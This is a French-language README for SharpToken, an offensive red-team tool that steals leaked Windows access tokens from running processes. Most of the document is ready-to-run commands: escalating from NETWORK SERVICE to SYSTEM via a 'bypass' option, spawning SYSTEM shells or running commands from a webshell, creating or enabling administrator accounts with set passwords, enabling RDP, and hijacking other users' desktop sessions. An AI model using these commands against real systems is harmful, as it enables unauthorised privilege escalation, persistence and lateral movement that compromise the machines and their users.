SharpToken

Lors des mouvements latéraux en red team, nous avons souvent besoin de voler les permissions d'autres utilisateurs. Face à la défense des EDR modernes, il nous est difficile d'utiliser Mimikatz pour obtenir les permissions d'autres utilisateurs, et si l'utilisateur cible n'a aucun processus actif, nous ne pouvons pas utiliser "OpenProcessToken" pour voler un Token.

SharpToken est un outil conçu pour exploiter les fuites de Token. Il peut trouver des Tokens divulgués dans tous les processus du système et les utiliser. Si vous êtes un utilisateur de service à faibles privilèges, vous pouvez même l'utiliser pour passer aux privilèges "NT AUTHORITY\SYSTEM", et vous pouvez basculer vers le bureau de l'utilisateur cible pour faire plus sans avoir besoin de son mot de passe. ..

Utilisation

SharpToken By BeichenDream
=========================================================

Github : https://github.com/BeichenDream/SharpToken

If you are an NT AUTHORITY\NETWORK SERVICE user then you just need to add the bypass parameter to become an NT AUTHORIT\YSYSTEM
e.g.
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass


Usage:

SharpToken COMMAND arguments



COMMANDS:

        list_token [process pid]        [bypass]

        list_all_token [process pid] [bypass]

        add_user    <username> <password> [group] [domain] [bypass]

        enableUser <username> <NewPassword> [NewGroup] [bypass]

        delete_user <username> [domain] [bypass]

        execute <tokenUser> <commandLine> [Interactive] [bypass]

        enableRDP [bypass]

        tscon <targetSessionId> [sourceSessionId] [bypass]


example:
    SharpToken list_token
    SharpToken list_token bypass
    SharpToken list_token 6543
    SharpToken add_user admin Abcd1234! Administrators
    SharpToken enableUser Guest Abcd1234! Administrators
    SharpToken delete_user admin
    SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"
    SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass
    SharpToken execute "NT AUTHORITY\SYSTEM" cmd true
    SharpToken execute "NT AUTHORITY\SYSTEM" cmd true bypass
    SharpToken tscon 1

Permissions élevées

En plus du vol de Token habituel pour l'élévation de privilèges, SharpToken permet également d'obtenir des Tokens avec intégrité via Bypass.

Si vous êtes un utilisateur NT AUTHORITY\NETWORK SERVICE et que vous ajoutez le paramètre bypass, SharpToken volera System à partir de RPCSS, c'est-à-dire un passage inconditionnel de NT AUTHORITY\NETWORK SERVICE à NT AUTHORITY\SYSTEM.

ListToken

Les informations énumérées incluent SID, LogonDomain, UserName, Session, LogonType, TokenType, TokenHandle (handle du Token après duplication), TargetProcessId (processus d'origine du Token), TargetProcessToken (handle du Token dans le processus source), Groups (groupe de l'utilisateur du Token).

SharpToken list_token

Énumérer les Tokens depuis un processus spécifique

SharpToken list_token 468

Obtenir un shell interactif

execute "NT AUTHORITY\SYSTEM" cmd true

Obtenir les résultats d'exécution de commandes (exécuté sous webshell)

SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"

Créer un utilisateur administrateur avec le Token volé

SharpToken add_user admin Abcd1234! Administrators

Activer un utilisateur administrateur avec le Token volé

SharpToken enableUser Guest Abcd1234! Administrators

Supprimer un utilisateur avec un Token volé

SharpToken delete_user admin

Utiliser le Token volé pour basculer vers le bureau de la cible

Où 1 est le bureau de l'utilisateur cible et 2 est le bureau que nous voulons recevoir.

SharpToken tscon 1 2

LICENCE

Licence publique générale GNU

Références

https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html

https://github.com/decoder-it/NetworkServiceExploit

https://github.com/FSecureLABS/incognito

https://github.com/chroblert/JCTokenUtil